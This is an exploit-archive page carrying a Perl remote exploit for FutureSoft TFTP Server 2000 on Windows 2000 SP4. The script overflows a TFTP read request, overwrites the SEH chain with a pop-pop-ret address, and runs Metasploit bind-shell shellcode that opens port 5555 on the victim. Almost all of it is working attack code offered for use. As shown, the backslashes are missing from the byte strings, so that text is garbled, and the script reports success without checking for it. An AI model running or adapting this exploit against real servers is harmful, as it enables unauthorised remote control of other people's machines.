[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit
# Published : 2007-03-22
# Author : Umesh Wanve
# Previous Title : Ethernet Device Drivers Frame Padding Info Leakage Exploit (Etherleak)
# Next Title : Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit


#!/usr/bin/perl
# ===============================================================================================
#                  FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit
#                               By Umesh Wanve
# ===============================================================================================
# 
# Date : 22-03-2007
#
# Tested on Windows 2000 SP4 Server English
#           Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
# 
# Stack --->      buffer                       ===  AAAAA.........
#                   |
#            Pointer to next SEH               ===  Short Jump to Hellcode  
#                   |
#               SEH Handler                    ===  Pop, Pop, Ret (ws2help.dll win2000 sp4)
#                   |
#                NOP Sled                      ===  Nop Sled
#                   | 
#                Hellcode                      ===  Hell.........
# 
# This exploit will open port 5555 on remote server. Connect it to open shell.
#
#
# P.S: This was written for educational purpose. Use it at your own risk.Author will be not be 
#      responsible for any damage.
#  
# Always Thanks to Metasploit. 
#
#==================================================================================================


use IO::Socket;
#use strict;

 
my($read_request)="x00x01";                                                # GET or PUT request

my($tailer)="x00x6ex65x74x61x73x63x69x69x00";                      #transporting mode (eg. netascii)   

                        
# win32_bind -  EXITFUNC=seh LPORT=5555 Size=344 Encoder=Pex http://metasploit.com
my($shellcode)=
"x90x90x90x90".                                          #padding
"x33xc9x83xe9xb0xe8xffxffxffxffxc0x5ex81x76x0ex60".
"x5fx45x77x83xeexfcxe2xf4x9cx35xaex3ax88xa6xbax88".
"x9fx3fxcex1bx44x7bxcex32x5cxd4x39x72x18x5exaaxfc".
"x2fx47xcex28x40x5exaex3exebx6bxcex76x8ex6ex85xee".
"xccxdbx85x03x67x9ex8fx7ax61x9dxaex83x5bx0bx61x5f".
"x15xbaxcex28x44x5exaex11xebx53x0exfcx3fx43x44x9c".
"x63x73xcexfex0cx7bx59x16xa3x6ex9ex13xebx1cx75xfc".
"x20x53xcex07x7cxf2xcex37x68x01x2dxf9x2ex51xa9x27".
"x9fx89x23x24x06x37x76x45x08x28x36x45x3fx0bxbaxa7".
"x08x94xa8x8bx5bx0fxbaxa1x3fxd6xa0x11xe1xb2x4dx75".
"x35x35x47x88xb0x37x9cx7ex95xf2x12x88xb6x0cx16x24".
"x33x0cx06x24x23x0cxbaxa7x06x37x50xc4x06x0cxccx96".
"xf5x37xe1x6dx10x98x12x88xb6x35x55x26x35xa0x95x1f".
"xc4xf2x6bx9ex37xa0x93x24x35xa0x95x1fx85x16xc3x3e".
"x37xa0x93x27x34x0bx10x88xb0xccx2dx90x19x99x3cx20".
"x9fx89x10x88xb0x39x2fx13x06x37x26x1axe9xbax2fx27".
"x39x76x89xfex87x35x01xfex82x6ex85x84xcaxa1x07x5a".
"x9ex1dx69xe4xedx25x7dxdcxcbxf4x2dx05x9execx53x88".
"x15x1bxbaxa1x3bx08x17x26x31x0ex2fx76x31x0ex10x26".
"x9fx8fx2dxdaxb9x5ax8bx24x9fx89x2fx88x9fx68xbaxa7".
"xebx08xb9xf4xa4x3bxbaxa1x32xa0x95x1fx90xd5x41x28".
"x33xa0x93x88xb0x5fx45x77".
"x90x90x90x90".                                        #padding
"x90x90x90x90";

my($pointer_to_next_seh)="xebx06x90x90";               #short jump to shellcode

my($seh_handler)="xa9x11x02x75";                        #pop, pop, ret 
                                                            #(ws2help.dll win2000 sp4) 

#Building malicious buffer

my($buffer)=$read_request.("A" x 268).$pointer_to_next_seh.$seh_handler.$shellcode.$tailer;  


if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "69",

Proto    => "UDP"))
{
                
                 print "++Building Packet......n"  ;
		     print "++Connecting to server.....n";
		     print "++Sending Buffer ....n";
	           print "++Exploit Successfull...n";
                 print "++Connect to victim on 5555.....n";
	
                 # request + file name  + mode
                 #see tftp protocol

                 print $socket $buffer;      
                 sleep(1);
			
                 close($socket);
}
else
{
                 print "Cannot connect to $ARGV[0]:69n";
}
# __END_CODE 

# www.Syue.com [2007-03-22]